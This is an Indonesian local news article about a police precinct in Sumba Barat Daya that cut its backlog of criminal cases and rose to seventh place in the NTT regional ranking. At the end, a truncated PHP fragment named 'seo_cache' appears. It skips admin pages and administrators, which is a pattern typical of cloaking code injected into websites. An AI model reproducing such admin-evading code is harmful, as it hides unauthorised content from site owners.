TNI-Polri

Tinggalkan Zona Merah, Polres SBD Cetak Sejarah Masuk Urutan 7 Penanganan Kasus se-Polda NTT

×

Tinggalkan Zona Merah, Polres SBD Cetak Sejarah Masuk Urutan 7 Penanganan Kasus se-Polda NTT

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Kepolisian Resor (Polres) Sumba Barat Daya (SBD) mencatat sejarah baru dalam penanganan perkara pidana.


Setelah bertahun-tahun berada dalam kategori rendah atau “zona merah” dalam penyelesaian perkara, Polres SBD kini berhasil menembus peringkat ketujuh terbaik di jajaran Kepolisian Daerah Nusa Tenggara Timur (Polda NTT) dalam penanganan kasus.


Pencapaian ini tidak lepas dari kerja keras jajaran Satuan Reserse Kriminal (Satreskrim) Polres SBD yang berupaya menuntaskan tumpukan perkara lama yang selama ini menjadi beban institusi.

Ditemui media ini, Senin (08/06/2026), Kasatreskrim Polres SBD, IPTU Yakobus K. Sanam, SH, mengungkapkan bahwa saat dirinya mulai bertugas, jumlah perkara yang harus ditangani mencapai sekitar 280 kasus. Sebagian besar tunggakan dari tahun-tahun sebelumnya.

Kepala Satuan Reserse Kriminal Polres SBD, IPTU Yakobus K. Sanam, SH. ( Foto Menara Sumba )

“Saat kami buka ruang kepada masyarakat, banyak kasus lama yang kembali muncul. Masyarakat datang menanyakan perkembangan perkara mereka. Kondisi ini menjadi tantangan tersendiri karena sebagian besar kasus tersebut adalah tunggakan yang belum terselesaikan,” jelasnya.


Menurut Yakobus, salah satu kendala utama dalam penyelesaian perkara lama adalah keterbatasan anggaran. Sebab, anggaran penanganan perkara pada tahun-tahun sebelumnya telah habis digunakan sesuai periode berjalan.


Meski demikian, ia menegaskan bahwa keterbatasan tersebut tidak boleh dijadikan alasan untuk mengabaikan tanggung jawab penyelesaian perkara.


“Saya selalu sampaikan kepada anggota bahwa tidak ada alasan untuk tidak menyelesaikan kasus-kasus yang menjadi tanggung jawab kita. Ketika kita menerima jabatan, maka kita juga menerima seluruh pekerjaan dan risiko yang menyertainya,” tegas Yakobus.


Dengan komitmen tersebut, Satreskrim Polres SBD mulai melakukan penataan dan percepatan penyelesaian perkara.

Hasilnya, jumlah tunggakan kasus yang sebelumnya mencapai sekitar 280 perkara berhasil ditekan secara signifikan hingga tersisa sekitar 100 lebih kasus.


Penurunan angka tunggakan tersebut menjadi salah satu indikator meningkatnya kinerja penanganan perkara di Polres SBD.

Capaian ini sekaligus mengantarkan Polres SBD keluar dari zona merah dan masuk dalam tujuh besar jajaran Polres terbaik di lingkungan Polda NTT dalam penyelesaian kasus pidana.


Prestasi tersebut menjadi bukti bahwa kerja keras, komitmen, dan tanggung jawab seluruh personel mampu membawa perubahan positif bagi institusi, sekaligus meningkatkan kepercayaan masyarakat terhadap penegakan hukum di Kabupaten Sumba Barat Daya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>